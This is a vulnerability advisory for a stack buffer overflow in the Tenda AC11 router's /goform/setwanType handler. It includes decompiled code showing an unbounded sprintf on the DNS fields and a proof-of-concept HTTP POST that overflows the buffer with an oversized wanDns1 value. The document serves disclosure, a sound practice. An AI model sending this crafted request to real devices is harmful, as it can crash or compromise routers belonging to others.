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on Oct 4, 2021 History

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Tenda Router AC11 Vulnerability

The Vulnerability is in `/goform/setwanType` page which influence the latest version of this router OS. (this is a RTOS that are different from linux system) The Version is [AC11_V02.03.01.104_CN](#)

Vulnerability description

An issue was discovered on Tenda AC11 devices with firmware through 02.03.01.104_CN. A stack buffer overflow vulnerability in `/goform/setwanType` allows attackers to execute arbitrary code on the system via a crafted post request.

In the function `sub_800C6448` (page `/goform/setwanType`) have one stack buffer overflow vulnerability.

- It isn't limit our input when we input `wanDns1` in `v12` and `wanDns2` in `v13`.
- Then `v12` and `v13` will copy to a stack value `v45` by using `sprintf_1(v45, "%s %s", v12, v13);` `%.s` couldn't limit copy length ,so we can make stack buffer overflow in `v45`

```
65 v9 = Packt_websGetVar(a1, a2, "wanIP", "0.0.0.0");
66 v10 = Packt_websGetVar(a1, a2, "wanMask", "0.0.0.0");
67 v11 = Packt_websGetVar(a1, a2, "wanGateway", "0.0.0.0");
68 v12 = Packt_websGetVar(a1, a2, "wanDns1", "");
69 v13 = Packt_websGetVar(a1, a2, "wanDns2", "");
70 nvramp_get("static_wan0_mcu");
71 sprintf_1(v45, "%s %s", v12, v13);
72 sprintf_1(v46, "%s %s", (v8 + 444), (v8 + 484));
73 if ( !gstrcmp_0((v8 + 324), v9)
74     && !gstrcmp_0((v8 + 364), v10)
75     && !gstrcmp_0((v8 + 404), v11)
```

input vector controlled by malicious attack

sprintf gets buffer overflow

poc

```
POST /goform/setwanType HTTP/1.1
Host: 192.168.0.1
Content-Length: 717
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded;
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&wanDns1=aaaaaaaaaaaaaaaaaaaaaaaa
```

Acknowledgment

Credit to [@Yu3H0](#), [@leonW7](#), [@cpegg](#) from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.

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